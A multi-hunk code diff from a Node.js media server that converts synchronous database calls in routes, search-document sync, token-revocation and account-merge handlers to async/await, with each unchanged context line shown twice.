@@ -291,16 +291,16 @@ router.get('/live/:sel/frame.jpg', async (req, res) => {
@@ -291,16 +291,16 @@ router.get('/live/:sel/frame.jpg', async (req, res) => {
const w = frames.quantizeWidth(req.query.w);
const w = frames.quantizeWidth(req.query.w);
const resolved = await frames.resolveSelector(appId, req.params.sel);
const resolved = await frames.resolveSelector(appId, req.params.sel);
- if (!resolved.msid) return sendCard(404, resolved.label, 'is offline right now');
+ if (!resolved.msid) return await sendCard(404, resolved.label, 'is offline right now');
const out = await frames.getLiveFrame(appId, resolved.msid, w);
const out = await frames.getLiveFrame(appId, resolved.msid, w);
if (!out.ok) {
if (!out.ok) {
- if (out.reason === 'not_live') return sendCard(404, resolved.label, 'is offline right now');
+ if (out.reason === 'not_live') return await sendCard(404, resolved.label, 'is offline right now');
if (out.reason === 'busy') {
if (out.reason === 'busy') {
res.set('Retry-After', '2');
res.set('Retry-After', '2');
- return sendCard(503, resolved.label, 'is live — server busy, retry shortly');
+ return await sendCard(503, resolved.label, 'is live — server busy, retry shortly');
}
}
- return sendCard(503, resolved.label, 'is live — frame unavailable, retry shortly');
+ return await sendCard(503, resolved.label, 'is live — frame unavailable, retry shortly');
}
}
res.set({
res.set({
'Content-Type': 'image/jpeg',
'Content-Type': 'image/jpeg',
@@ -316,10 +316,10 @@ router.get('/live/:sel/frame.jpg', async (req, res) => {
@@ -316,10 +316,10 @@ router.get('/live/:sel/frame.jpg', async (req, res) => {
});
});
// ── App assets (emotes / sounds) by id ───────────────────────
// ── App assets (emotes / sounds) by id ───────────────────────
-router.get('/a/:id', (req, res) => {
+router.get('/a/:id', async (req, res) => {
if (drill.refuseBytes(res)) return;
if (drill.refuseBytes(res)) return;
try {
try {
- const a = db.getAssetById(parseInt(req.params.id, 10));
+ const a = await db.getAssetById(parseInt(req.params.id, 10));
if (!a || !a.file_path || !fs.existsSync(a.file_path)) return res.status(404).json({ error: 'Not found' });
if (!a || !a.file_path || !fs.existsSync(a.file_path)) return res.status(404).json({ error: 'Not found' });
// Content is replaced under the same URL on re-upload — cache a day, not immutable.
// Content is replaced under the same URL on re-upload — cache a day, not immutable.
streamFileWithRange(req, res, a.file_path, {
streamFileWithRange(req, res, a.file_path, {
@@ -338,7 +338,7 @@ router.get('/a/:id', (req, res) => {
@@ -338,7 +338,7 @@ router.get('/a/:id', (req, res) => {
// GET / — server-rendered mass index of all public media (tabs: All / Videos /
// GET / — server-rendered mass index of all public media (tabs: All / Videos /
// Clips / Images / Text / Thumbnails / Files), each card linking back to its
// Clips / Images / Text / Thumbnails / Files), each card linking back to its
// source page in the owning app. See public/browse.js.
// source page in the owning app. See public/browse.js.
-router.get('/', (req, res) => require('./browse').handle(req, res));
+router.get('/', async (req, res) => await require('./browse').handle(req, res));
// What shipped on OpenVibe.Media: the shared update log every OpenVibe site has.
// What shipped on OpenVibe.Media: the shared update log every OpenVibe site has.
router.get('/updates', (req, res) => {
router.get('/updates', (req, res) => {
@@ -350,7 +350,7 @@ router.get('/updates', (req, res) => {
@@ -350,7 +350,7 @@ router.get('/updates', (req, res) => {
footer: { variant: 'full' },
footer: { variant: 'full' },
}));
}));
});
});
-router.get('/browse', (req, res) => require('./browse').handle(req, res));
+router.get('/browse', async (req, res) => await require('./browse').handle(req, res));
// ── Dev data APIs: transcripts / AI timelines / chat insight ─
// ── Dev data APIs: transcripts / AI timelines / chat insight ─
// JSON companions to the frame API — same selector grammar, 30s cache as the
// JSON companions to the frame API — same selector grammar, 30s cache as the
@@ -388,14 +388,14 @@ router.get('/v/:id/transcript.json', _devDataRoute((req) => {
@@ -388,14 +388,14 @@ router.get('/v/:id/transcript.json', _devDataRoute((req) => {
// rows still carry those absolute URLs. Basenames change when a thumbnail is
// rows still carry those absolute URLs. Basenames change when a thumbnail is
// regenerated, so resolve the vod/clip id from the name and redirect to the
// regenerated, so resolve the vod/clip id from the name and redirect to the
// current canonical URL; serve the exact file when it still exists.
// current canonical URL; serve the exact file when it still exists.
-router.get('/api/thumbnails/:name', (req, res) => {
+router.get('/api/thumbnails/:name', async (req, res) => {
if (drill.refuseBytes(res)) return;
if (drill.refuseBytes(res)) return;
const name = path.basename(String(req.params.name || ''));
const name = path.basename(String(req.params.name || ''));
const m = /^(vod|clip)-(\d+)-\d+\.(?:jpg|jpeg|png)$/i.exec(name);
const m = /^(vod|clip)-(\d+)-\d+\.(?:jpg|jpeg|png)$/i.exec(name);
if (m) {
if (m) {
const row = m[1].toLowerCase() === 'vod'
const row = m[1].toLowerCase() === 'vod'
- ? db.getVodById(parseInt(m[2], 10), 'live')
- : db.getClipById(parseInt(m[2], 10), 'live');
+ ? await db.getVodById(parseInt(m[2], 10), 'live')
+ : await db.getClipById(parseInt(m[2], 10), 'live');
// Never for a private row: the redirect would hand out the current thumbnail URL of any
// Never for a private row: the redirect would hand out the current thumbnail URL of any
// private recording to whoever guesses vod-<id>-0.jpg. The exact file name still serves.
// private recording to whoever guesses vod-<id>-0.jpg. The exact file name still serves.
if (row && row.thumbnail_url && recordVisibility(row) !== 'private' && !row.thumbnail_url.endsWith(`/${name}`)) {
if (row && row.thumbnail_url && recordVisibility(row) !== 'private' && !row.thumbnail_url.endsWith(`/${name}`)) {
@@ -429,14 +429,14 @@ router.get('/f/screenshots/:name', (req, res) => {
@@ -429,14 +429,14 @@ router.get('/f/screenshots/:name', (req, res) => {
});
});
// ── Files ────────────────────────────────────────────────────
// ── Files ────────────────────────────────────────────────────
-router.get('/f/:key', (req, res) => {
+router.get('/f/:key', async (req, res) => {
if (drill.refuseBytes(res)) return;
if (drill.refuseBytes(res)) return;
try {
try {
- const row = db.getFileByKey(String(req.params.key));
+ const row = await db.getFileByKey(String(req.params.key));
if (!row) return res.status(404).json({ error: 'Not found' });
if (!row) return res.status(404).json({ error: 'Not found' });
// Developer-project sandbox files are never public: only a valid signed URL (from the
// Developer-project sandbox files are never public: only a valid signed URL (from the
// Files API) serves them, and a missing signature looks exactly like a missing file.
// Files API) serves them, and a missing signature looks exactly like a missing file.
- const sandbox = db.isSandboxTenant(row.app_id);
+ const sandbox = await db.isSandboxTenant(row.app_id);
if (sandbox && !require('../objects/signing').verifyFile(row.key, req.query.exp, req.query.sig)) return res.status(404).json({ error: 'Not found' });
if (sandbox && !require('../objects/signing').verifyFile(row.key, req.query.exp, req.query.sig)) return res.status(404).json({ error: 'Not found' });
const filesRoutes = require('../files/routes');
const filesRoutes = require('../files/routes');
const filePath = filesRoutes.filePathForKey(row);
const filePath = filesRoutes.filePathForKey(row);
@@ -492,10 +492,10 @@ router.get('/f/:key', (req, res) => {
@@ -492,10 +492,10 @@ router.get('/f/:key', (req, res) => {
// Community's now, so send people there. Screenshot bytes keep being served from here.
// Community's now, so send people there. Screenshot bytes keep being served from here.
const movedTo = () => String(process.env.PASTES_MOVED_TO || '').replace(/\/$/, '');
const movedTo = () => String(process.env.PASTES_MOVED_TO || '').replace(/\/$/, '');
-router.get('/p/:slug', optionalIdentity, (req, res) => {
+router.get('/p/:slug', optionalIdentity, async (req, res) => {
if (movedTo()) return res.redirect(301, `${movedTo()}/p/${encodeURIComponent(req.params.slug)}`);
if (movedTo()) return res.redirect(301, `${movedTo()}/p/${encodeURIComponent(req.params.slug)}`);
try {
try {
- const paste = db.getPasteBySlug(String(req.params.slug));
+ const paste = await db.getPasteBySlug(String(req.params.slug));
if (!paste) return res.status(404).send('Paste not found');
if (!paste) return res.status(404).send('Paste not found');
// Unlisted pastes stay reachable by direct link (that's the point).
// Unlisted pastes stay reachable by direct link (that's the point).
@@ -508,14 +508,14 @@ router.get('/p/:slug', optionalIdentity, (req, res) => {
@@ -508,14 +508,14 @@ router.get('/p/:slug', optionalIdentity, (req, res) => {
// keep the literal every-read counter — one read is the whole point of them.
// keep the literal every-read counter — one read is the whole point of them.
const isOwner = req.userId != null && paste.user_id === req.userId;
const isOwner = req.userId != null && paste.user_id === req.userId;
if (!isOwner) {
if (!isOwner) {
- if (paste.burn_after_read) { db.run('UPDATE pastes SET views = views + 1 WHERE id = ?', [paste.id]); paste.views += 1; }
- else { const r = views.recordView('paste', paste.id, { req, ownerUserId: paste.user_id }); if (r.view_count != null) { paste.views = r.view_count; paste.unique_views = r.unique_views; } }
+ if (paste.burn_after_read) { await db.run('UPDATE pastes SET views = views + 1 WHERE id = ?', [paste.id]); paste.views += 1; }
+ else { const r = await views.recordView('paste', paste.id, { req, ownerUserId: paste.user_id }); if (r.view_count != null) { paste.views = r.view_count; paste.unique_views = r.unique_views; } }
}
}
// Burn-after-read: allow one non-owner read, then delete.
// Burn-after-read: allow one non-owner read, then delete.
if (paste.burn_after_read && !isOwner && paste.views > 1) {
if (paste.burn_after_read && !isOwner && paste.views > 1) {
- require('../pastes/routes').removePasteScreenshot(paste);
- db.run('DELETE FROM pastes WHERE id = ?', [paste.id]);
+ await require('../pastes/routes').removePasteScreenshot(paste);
+ await db.run('DELETE FROM pastes WHERE id = ?', [paste.id]);
return res.status(410).send('This paste has been burned after reading.');
return res.status(410).send('This paste has been burned after reading.');
}
}
@@ -527,9 +527,9 @@ router.get('/p/:slug', optionalIdentity, (req, res) => {
@@ -527,9 +527,9 @@ router.get('/p/:slug', optionalIdentity, (req, res) => {
}
}
});
});
-router.get('/p/:slug/raw', (req, res) => {
+router.get('/p/:slug/raw', async (req, res) => {
try {
try {
- const found = db.getPasteBySlug(String(req.params.slug));
+ const found = await db.getPasteBySlug(String(req.params.slug));
// A private paste answers exactly like a missing slug (no redirect that proves it exists).
// A private paste answers exactly like a missing slug (no redirect that proves it exists).
const paste = found && found.visibility !== 'private' ? found : null;
const paste = found && found.visibility !== 'private' ? found : null;
// Image pastes have no raw text — bounce to the screenshot (stale
// Image pastes have no raw text — bounce to the screenshot (stale
@@ -544,22 +544,22 @@ router.get('/p/:slug/raw', (req, res) => {
@@ -544,22 +544,22 @@ router.get('/p/:slug/raw', (req, res) => {
// Burn after read
// Burn after read
if (paste.burn_after_read && paste.views > 0) {
if (paste.burn_after_read && paste.views > 0) {
- db.run('DELETE FROM pastes WHERE id = ?', [paste.id]);
+ await db.run('DELETE FROM pastes WHERE id = ?', [paste.id]);
return res.status(410).send('This paste has been burned after reading.');
return res.status(410).send('This paste has been burned after reading.');
}
}
- if (paste.burn_after_read) db.run('UPDATE pastes SET views = views + 1 WHERE id = ?', [paste.id]);
- else views.recordView('paste', paste.id, { req, ownerUserId: paste.user_id });
+ if (paste.burn_after_read) await db.run('UPDATE pastes SET views = views + 1 WHERE id = ?', [paste.id]);
+ else await views.recordView('paste', paste.id, { req, ownerUserId: paste.user_id });
res.type('text/plain').send(paste.content);
res.type('text/plain').send(paste.content);
} catch {
} catch {
res.status(500).send('Error');
res.status(500).send('Error');
}
}
});
});
-router.get('/p/:slug/screenshot', (req, res) => {
+router.get('/p/:slug/screenshot', async (req, res) => {
if (drill.refuseBytes(res)) return;
if (drill.refuseBytes(res)) return;
try {
try {
- const paste = db.getPasteBySlug(String(req.params.slug));
+ const paste = await db.getPasteBySlug(String(req.params.slug));
// Pastes made since the move live in Community only: send an unknown slug there, like
// Pastes made since the move live in Community only: send an unknown slug there, like
// /p/:slug and /p/:slug/raw (Community answers with the image, or its own 404). Stored
// /p/:slug and /p/:slug/raw (Community answers with the image, or its own 404). Stored
// hero-moment thumbnails pointed here and showed broken images.
// hero-moment thumbnails pointed here and showed broken images.
@@ -23,17 +23,6 @@ const SYNC_MS = 10 * 60 * 1000;
@@ -23,17 +23,6 @@ const SYNC_MS = 10 * 60 * 1000;
const stats = { sent: 0, tombstones: 0, unchanged: 0, lastError: null, lastSyncAt: null };
const stats = { sent: 0, tombstones: 0, unchanged: 0, lastError: null, lastSyncAt: null };
let timer = null;
let timer = null;
-function ensureSchema() {
- db.getDb().exec(`CREATE TABLE IF NOT EXISTS search_doc_pushes (
- kind TEXT NOT NULL,
- media_id INTEGER NOT NULL,
- hash TEXT NOT NULL,
- revision INTEGER NOT NULL,
- deleted INTEGER NOT NULL DEFAULT 0,
- pushed_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- PRIMARY KEY (kind, media_id)
- )`);
-}
const iso = (v) => {
const iso = (v) => {
if (!v) return null;
if (!v) return null;
@@ -59,52 +48,50 @@ function documentFor(kind, row) {
@@ -59,52 +48,50 @@ function documentFor(kind, row) {
}
}
/** Send one document or tombstone when it changed. → 'sent' | 'tombstone' | 'unchanged' */
/** Send one document or tombstone when it changed. → 'sent' | 'tombstone' | 'unchanged' */
-function send(kind, id, doc, now) {
+async function send(kind, id, doc, now) {
const d = db.getDb();
const d = db.getDb();
- const prev = d.prepare('SELECT hash, revision, deleted FROM search_doc_pushes WHERE kind = ? AND media_id = ?').get(kind, id);
+ const prev = await d.prepare('SELECT hash, revision, deleted FROM search_doc_pushes WHERE kind = ? AND media_id = ?').get(kind, id);
if (!doc && (!prev || prev.deleted)) { stats.unchanged++; return 'unchanged'; }
if (!doc && (!prev || prev.deleted)) { stats.unchanged++; return 'unchanged'; }
const hash = doc ? hashOf(doc) : 'deleted';
const hash = doc ? hashOf(doc) : 'deleted';
if (prev && prev.hash === hash) { stats.unchanged++; return 'unchanged'; }
if (prev && prev.hash === hash) { stats.unchanged++; return 'unchanged'; }
const revision = (prev ? prev.revision : 0) + 1;
const revision = (prev ? prev.revision : 0) + 1;
const sid = String(id);
const sid = String(id);
- d.transaction(() => {
- if (doc) events.recordIndexDocument('media.index_document.upserted', { type: kind, id: sid, revision }, { ...doc, revision, updated_at: new Date(now).toISOString() });
- else events.recordIndexDocument('media.index_document.deleted', { type: kind, id: sid, revision }, { type: kind, id: sid, revision });
- d.prepare(`INSERT INTO search_doc_pushes (kind, media_id, hash, revision, deleted, pushed_at) VALUES (?, ?, ?, ?, ?, CURRENT_TIMESTAMP)
+ await d.tx(async () => {
+ if (doc) await events.recordIndexDocument('media.index_document.upserted', { type: kind, id: sid, revision }, { ...doc, revision, updated_at: new Date(now).toISOString() });
+ else await events.recordIndexDocument('media.index_document.deleted', { type: kind, id: sid, revision }, { type: kind, id: sid, revision });
+ await d.prepare(`INSERT INTO search_doc_pushes (kind, media_id, hash, revision, deleted, pushed_at) VALUES (?, ?, ?, ?, ?, ov_now())
ON CONFLICT(kind, media_id) DO UPDATE SET hash = excluded.hash, revision = excluded.revision, deleted = excluded.deleted, pushed_at = excluded.pushed_at`)
ON CONFLICT(kind, media_id) DO UPDATE SET hash = excluded.hash, revision = excluded.revision, deleted = excluded.deleted, pushed_at = excluded.pushed_at`)
.run(kind, id, hash, revision, doc ? 0 : 1);
.run(kind, id, hash, revision, doc ? 0 : 1);
- })();
+ });
if (doc) { stats.sent++; return 'sent'; }
if (doc) { stats.sent++; return 'sent'; }
stats.tombstones++;
stats.tombstones++;
return 'tombstone';
return 'tombstone';
}
}
-function sync({ now = Date.now() } = {}) {
- if (!events.status().enabled) return 0;
- ensureSchema();
- const sandbox = crawl.sandboxApps();
+async function sync({ now = Date.now() } = {}) {
+ if (!(await events.status()).enabled) return 0;
+ const sandbox = await crawl.sandboxApps();
let n = 0;
let n = 0;
for (const kind of ['vod', 'clip']) {
for (const kind of ['vod', 'clip']) {
const table = kind === 'vod' ? 'vods' : 'clips';
const table = kind === 'vod' ? 'vods' : 'clips';
- const rows = db.all(`SELECT id, app_id, title, description, duration_seconds, visibility, is_public, ${kind === 'clip' ? 'auto_generated, ' : ''}created_at
- FROM ${table} WHERE ${crawl.WATCH_WHERE[kind]}`).filter((r) => !sandbox.has(r.app_id) && pages.watchIndexable(kind, r));
+ const rows = (await db.all(`SELECT id, app_id, title, description, duration_seconds, visibility, is_public, ${kind === 'clip' ? 'auto_generated, ' : ''}created_at
+ FROM ${table} WHERE ${crawl.WATCH_WHERE[kind]}`)).filter((r) => !sandbox.has(r.app_id) && pages.watchIndexable(kind, r));
const seen = new Set();
const seen = new Set();
for (const r of rows) {
for (const r of rows) {
seen.add(r.id);
seen.add(r.id);
- try { send(kind, r.id, documentFor(kind, r), now); n++; } catch (err) { stats.lastError = err.message; }
+ try { await send(kind, r.id, documentFor(kind, r), now); n++; } catch (err) { stats.lastError = err.message; }
}
}
- for (const p of db.all('SELECT media_id FROM search_doc_pushes WHERE kind = ? AND deleted = 0', [kind])) {
- if (!seen.has(p.media_id)) { try { send(kind, p.media_id, null, now); } catch (err) { stats.lastError = err.message; } }
+ for (const p of await db.all('SELECT media_id FROM search_doc_pushes WHERE kind = ? AND deleted = 0', [kind])) {
+ if (!seen.has(p.media_id)) { try { await send(kind, p.media_id, null, now); } catch (err) { stats.lastError = err.message; } }
}
}
}
}
stats.lastSyncAt = new Date(now).toISOString();
stats.lastSyncAt = new Date(now).toISOString();
return n;
return n;
}
}
-function start() {
- if (timer || !events.status().enabled || process.env.MEDIA_SEARCH_DOCUMENTS === 'off') return false;
- ensureSchema();
- const run = () => { try { sync(); } catch (err) { stats.lastError = err.message; } };
+async function start() {
+ if (timer || !(await events.status()).enabled || process.env.MEDIA_SEARCH_DOCUMENTS === 'off') return false;
+ const run = async () => { try { await sync(); } catch (err) { stats.lastError = err.message; } };
const first = setTimeout(run, 60 * 1000);
const first = setTimeout(run, 60 * 1000);
if (first.unref) first.unref();
if (first.unref) first.unref();
timer = setInterval(run, SYNC_MS);
timer = setInterval(run, SYNC_MS);
@@ -115,4 +102,4 @@ function start() {
@@ -115,4 +102,4 @@ function start() {
function stop() { if (timer) clearInterval(timer); timer = null; }
function stop() { if (timer) clearInterval(timer); timer = null; }
function status() { return { ...stats }; }
function status() { return { ...stats }; }
-module.exports = { start, stop, sync, documentFor, ensureSchema, status };
+module.exports = { start, stop, sync, documentFor, status };
@@ -5,7 +5,7 @@
@@ -5,7 +5,7 @@
*
*
* POST /internal/events is the endpoint of Media's Events subscription to that topic, signed with
* POST /internal/events is the endpoint of Media's Events subscription to that topic, signed with
* MEDIA_INBOUND_EVENTS_SECRET (signature v2 only) and refused when it came through the proxy. A
* MEDIA_INBOUND_EVENTS_SECRET (signature v2 only) and refused when it came through the proxy. A
- * delivery moves the person's cutoff (openvibe-sdk createRevocationStore: only ever forward, source
+ * delivery moves the person's cutoff (openvibe-sdk createPgRevocationStore: only ever forward, source
* network only); user-auth.js then refuses their older tokens, so openvibe.media's navbar shows them
* network only); user-auth.js then refuses their older tokens, so openvibe.media's navbar shows them
* signed out at once. The same endpoint takes network.subject.merged (ADR-029): a folded-in account's media objects
* signed out at once. The same endpoint takes network.subject.merged (ADR-029): a folded-in account's media objects
* move to the survivor (server/subject-merge.js), and network.account.export_requested / network.account.deleted (ADR-033):
* move to the survivor (server/subject-merge.js), and network.account.export_requested / network.account.deleted (ADR-033):
@@ -18,9 +18,11 @@ const TOPIC = 'network.user.token_valid_after';
@@ -18,9 +18,11 @@ const TOPIC = 'network.user.token_valid_after';
const TOPICS = [TOPIC, 'network.subject.merged', 'network.account.export_requested', 'network.account.deleted'];
const TOPICS = [TOPIC, 'network.subject.merged', 'network.account.export_requested', 'network.account.deleted'];
let store = null;
let store = null;
function cutoffs() {
function cutoffs() {
- if (!store) store = require('openvibe-sdk/auth').createRevocationStore(require('./db/database').getDb(), { table: 'token_revocations' });
+ if (!store) store = require('openvibe-sdk/auth').createPgRevocationStore(require('./db/database').getDb(), { table: 'token_revocations' });
return store;
return store;
}
}
+/** Read every cutoff into memory (at boot, before the app serves): isRevoked() is synchronous on every request. */
+async function load() { return await cutoffs().load(); }
const secrets = () => String(process.env.MEDIA_INBOUND_EVENTS_SECRET || '').split(',').map((s) => s.trim()).filter((s) => s.length >= 32);
const secrets = () => String(process.env.MEDIA_INBOUND_EVENTS_SECRET || '').split(',').map((s) => s.trim()).filter((s) => s.length >= 32);
const stats = { received: 0, revoked: 0, refused: 0 };
const stats = { received: 0, revoked: 0, refused: 0 };
@@ -28,7 +30,7 @@ function isRevoked(claims) { try { return cutoffs().isRevoked(claims); } catch {
@@ -28,7 +30,7 @@ function isRevoked(claims) { try { return cutoffs().isRevoked(claims); } catch {
function handler() {
function handler() {
const { parseDelivery } = require('openvibe-sdk/events');
const { parseDelivery } = require('openvibe-sdk/events');
- return [express.raw({ type: () => true, limit: '256kb' }), (req, res) => {
+ return [express.raw({ type: () => true, limit: '256kb' }), async (req, res) => {
if (req.headers['x-forwarded-for'] || req.headers['x-real-ip'] || req.headers['cf-connecting-ip']) return res.status(404).json({ error: 'Not found' });
if (req.headers['x-forwarded-for'] || req.headers['x-real-ip'] || req.headers['cf-connecting-ip']) return res.status(404).json({ error: 'Not found' });
const keys = secrets();
const keys = secrets();
if (!keys.length) return res.status(503).json({ error: 'MEDIA_INBOUND_EVENTS_SECRET is not set' });
if (!keys.length) return res.status(503).json({ error: 'MEDIA_INBOUND_EVENTS_SECRET is not set' });
@@ -42,7 +44,13 @@ function handler() {
@@ -42,7 +44,13 @@ function handler() {
return require('./account-data').apply(d.event).then((outcome) => res.json({ event_id: d.event.event_id || null, outcome }),
return require('./account-data').apply(d.event).then((outcome) => res.json({ event_id: d.event.event_id || null, outcome }),
(e) => { console.error(`[AccountData] ${d.event.event_type} failed:`, e.message); res.status(500).json({ error: 'not applied' }); });
(e) => { console.error(`[AccountData] ${d.event.event_type} failed:`, e.message); res.status(500).json({ error: 'not applied' }); });
}
}
- const outcome = d.event.event_type === 'network.subject.merged' ? require('./subject-merge').apply(d.event) : cutoffs().apply(d.event);
+ let outcome;
+ try {
+ outcome = d.event.event_type === 'network.subject.merged' ? await require('./subject-merge').apply(d.event) : await cutoffs().apply(d.event);
+ } catch (e) {
+ console.error(`[Revocations] ${d.event.event_type} failed:`, e.message);
+ return res.status(500).json({ error: 'not applied' });
+ }
if (outcome === 'revoked') stats.revoked++;
if (outcome === 'revoked') stats.revoked++;
res.json({ event_id: d.event.event_id || null, outcome });
res.json({ event_id: d.event.event_id || null, outcome });
}];
}];
@@ -77,4 +85,4 @@ async function ensureSubscription({ fetchImpl = globalThis.fetch, log = console
@@ -77,4 +85,4 @@ async function ensureSubscription({ fetchImpl = globalThis.fetch, log = console
return created ? 'created' : 'exists';
return created ? 'created' : 'exists';
}
}
-module.exports = { handler, ensureSubscription, isRevoked, stats, TOPIC, TOPICS, _cutoffs: cutoffs };
+module.exports = { handler, ensureSubscription, isRevoked, load, stats, TOPIC, TOPICS, _cutoffs: cutoffs };
@@ -9,30 +9,20 @@ const SUBJECT_RE = /^usr_[0-9A-HJKMNP-TV-Z]{26}$/;
@@ -9,30 +9,20 @@ const SUBJECT_RE = /^usr_[0-9A-HJKMNP-TV-Z]{26}$/;
const MERGE_RE = /^mrg_[0-9A-HJKMNP-TV-Z]{26}$/;
const MERGE_RE = /^mrg_[0-9A-HJKMNP-TV-Z]{26}$/;
const TOPIC = 'network.subject.merged';
const TOPIC = 'network.subject.merged';
-function ensureSchema(db) {
- db.exec(`CREATE TABLE IF NOT EXISTS subject_merges (
- merge_id TEXT PRIMARY KEY,
- from_subject TEXT NOT NULL,
- into_subject TEXT NOT NULL,
- objects INTEGER NOT NULL DEFAULT 0,
- applied_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now'))
- )`);
-}
/** One envelope → 'merged' | 'unchanged' | 'ignored:<why>'. */
/** One envelope → 'merged' | 'unchanged' | 'ignored:<why>'. */
-function apply(ev, { db = require('./db/database').getDb() } = {}) {
+async function apply(ev, { db = require('./db/database').getDb() } = {}) {
if (!ev || ev.event_type !== TOPIC) return 'ignored:type';
if (!ev || ev.event_type !== TOPIC) return 'ignored:type';
if (ev.source !== 'network') return 'ignored:source';
if (ev.source !== 'network') return 'ignored:source';
const p = ev.payload && typeof ev.payload === 'object' ? ev.payload : {};
const p = ev.payload && typeof ev.payload === 'object' ? ev.payload : {};
if (!MERGE_RE.test(String(p.merge_id || '')) || !SUBJECT_RE.test(String(p.from || '')) || !SUBJECT_RE.test(String(p.into || '')) || p.from === p.into) return 'ignored:payload';
if (!MERGE_RE.test(String(p.merge_id || '')) || !SUBJECT_RE.test(String(p.from || '')) || !SUBJECT_RE.test(String(p.into || '')) || p.from === p.into) return 'ignored:payload';
- ensureSchema(db);
- return db.transaction(() => {
- if (db.prepare('SELECT 1 FROM subject_merges WHERE merge_id = ?').get(p.merge_id)) return 'unchanged';
- const objects = db.prepare('UPDATE media_objects SET owner_subject = ? WHERE owner_subject = ?').run(p.into, p.from).changes;
- db.prepare('INSERT INTO subject_merges (merge_id, from_subject, into_subject, objects) VALUES (?, ?, ?, ?)').run(p.merge_id, p.from, p.into, objects);
+ return await db.tx(async () => {
+ if (await db.prepare('SELECT 1 FROM subject_merges WHERE merge_id = ?').get(p.merge_id)) return 'unchanged';
+ const objects = (await db.prepare('UPDATE media_objects SET owner_subject = ? WHERE owner_subject = ?').run(p.into, p.from)).changes;
+ await db.prepare('INSERT INTO subject_merges (merge_id, from_subject, into_subject, objects) VALUES (?, ?, ?, ?)').run(p.merge_id, p.from, p.into, objects);
console.log(`[Merge] ${p.merge_id}: ${objects} object(s) now owned by the survivor`);
console.log(`[Merge] ${p.merge_id}: ${objects} object(s) now owned by the survivor`);
return 'merged';
return 'merged';
- })();
+ });
}
}
-module.exports = { apply, ensureSchema, TOPIC };
+module.exports = { apply, TOPIC };
@@ -132,7 +132,7 @@ function _extractFrame(file, seekSeconds, width) {
@@ -132,7 +132,7 @@ function _extractFrame(file, seekSeconds, width) {
}
}
async function _grab(appId, managedStreamId, width) {
async function _grab(appId, managedStreamId, width) {
- const vod = db.get(
+ const vod = await db.get(
`SELECT file_path FROM vods
`SELECT file_path FROM vods
WHERE app_id = ? AND managed_stream_id = ? AND is_recording = 1
WHERE app_id = ? AND managed_stream_id = ? AND is_recording = 1
ORDER BY id DESC LIMIT 1`,
ORDER BY id DESC LIMIT 1`,
@@ -58,7 +58,7 @@ router.post('/:kind/:id', tenantAuth({ allowUser: true }), upload.single('thumbn
@@ -58,7 +58,7 @@ router.post('/:kind/:id', tenantAuth({ allowUser: true }), upload.single('thumbn
}
}
const numId = parseInt(id, 10);
const numId = parseInt(id, 10);
- const row = kind === 'vod' ? db.getVodById(numId, req.appId) : db.getClipById(numId, req.appId);
+ const row = kind === 'vod' ? await db.getVodById(numId, req.appId) : await db.getClipById(numId, req.appId);
if (!row) return res.status(404).json({ error: `${kind} not found` });
if (!row) return res.status(404).json({ error: `${kind} not found` });
// Acting for one of the app's users (X-OV-User-Id): only that user's own VOD or clip. Someone
// Acting for one of the app's users (X-OV-User-Id): only that user's own VOD or clip. Someone
// else's private one answers as a missing one would; anything else 403.
// else's private one answers as a missing one would; anything else 403.
@@ -77,14 +77,14 @@ router.post('/:kind/:id', tenantAuth({ allowUser: true }), upload.single('thumbn
@@ -77,14 +77,14 @@ router.post('/:kind/:id', tenantAuth({ allowUser: true }), upload.single('thumbn
fs.writeFileSync(path.join(thumbService.THUMB_DIR, filename), buffer);
fs.writeFileSync(path.join(thumbService.THUMB_DIR, filename), buffer);
const url = `/t/${filename}`;
const url = `/t/${filename}`;
const table = kind === 'vod' ? 'vods' : 'clips';
const table = kind === 'vod' ? 'vods' : 'clips';
- db.withObject(kind, numId, () => db.run(`UPDATE ${table} SET thumbnail_url = ? WHERE id = ?`, [url, numId])); // row + objects together
+ await db.withObject(kind, numId, async () => await db.run(`UPDATE ${table} SET thumbnail_url = ? WHERE id = ?`, [url, numId])); // row + objects together
return res.json({ url });
return res.json({ url });
}
}
// Generate from the media file (local or presigned remote) as a thumbnail.regenerate job.
// Generate from the media file (local or presigned remote) as a thumbnail.regenerate job.
const queue = require('../jobs/queue');
const queue = require('../jobs/queue');
const worker = require('../jobs/worker');
const worker = require('../jobs/worker');
- const r = queue.enqueue({
+ const r = await queue.enqueue({
appId: req.appId, type: 'thumbnail.regenerate', objectId: row.object_id || null, params: { kind, id: numId },
appId: req.appId, type: 'thumbnail.regenerate', objectId: row.object_id || null, params: { kind, id: numId },
dedupeActive: true, maxAttempts: 1, createdBy: `app:${req.appId}${req.authType === 'user' ? `:user:${req.userId}` : ''}`,
dedupeActive: true, maxAttempts: 1, createdBy: `app:${req.appId}${req.authType === 'user' ? `:user:${req.userId}` : ''}`,
ownerUserId: req.authType === 'user' ? req.userId : null,
ownerUserId: req.authType === 'user' ? req.userId : null,
@@ -190,13 +190,13 @@ function generateFromVideo(videoPath, prefix, entityId, opts = {}) {
@@ -190,13 +190,13 @@ function generateFromVideo(videoPath, prefix, entityId, opts = {}) {
async function generateVodThumbnail(vodId, filePath, opts = {}) {
async function generateVodThumbnail(vodId, filePath, opts = {}) {
const isRecording = opts.liveEdge != null
const isRecording = opts.liveEdge != null
? !!opts.liveEdge
? !!opts.liveEdge
- : !!db.get('SELECT is_recording FROM vods WHERE id = ?', [vodId])?.is_recording;
+ : !!(await db.get('SELECT is_recording FROM vods WHERE id = ?', [vodId]))?.is_recording;
const thumbUrl = await generateFromVideo(filePath, 'vod', vodId,
const thumbUrl = await generateFromVideo(filePath, 'vod', vodId,
isRecording ? { liveEdge: true } : { seekPercent: 10 });
isRecording ? { liveEdge: true } : { seekPercent: 10 });
if (thumbUrl) {
if (thumbUrl) {
- const old = db.get('SELECT thumbnail_url FROM vods WHERE id = ?', [vodId])?.thumbnail_url;
+ const old = (await db.get('SELECT thumbnail_url FROM vods WHERE id = ?', [vodId]))?.thumbnail_url;
// The row and its objects (the VOD's, and the thumbnail object that follows the picture) together.
// The row and its objects (the VOD's, and the thumbnail object that follows the picture) together.
- db.withObject('vod', vodId, () => db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [thumbUrl, vodId]));
+ await db.withObject('vod', vodId, async () => await db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [thumbUrl, vodId]));
_removeOldThumb(old, thumbUrl); // the previous picture goes once nothing names it
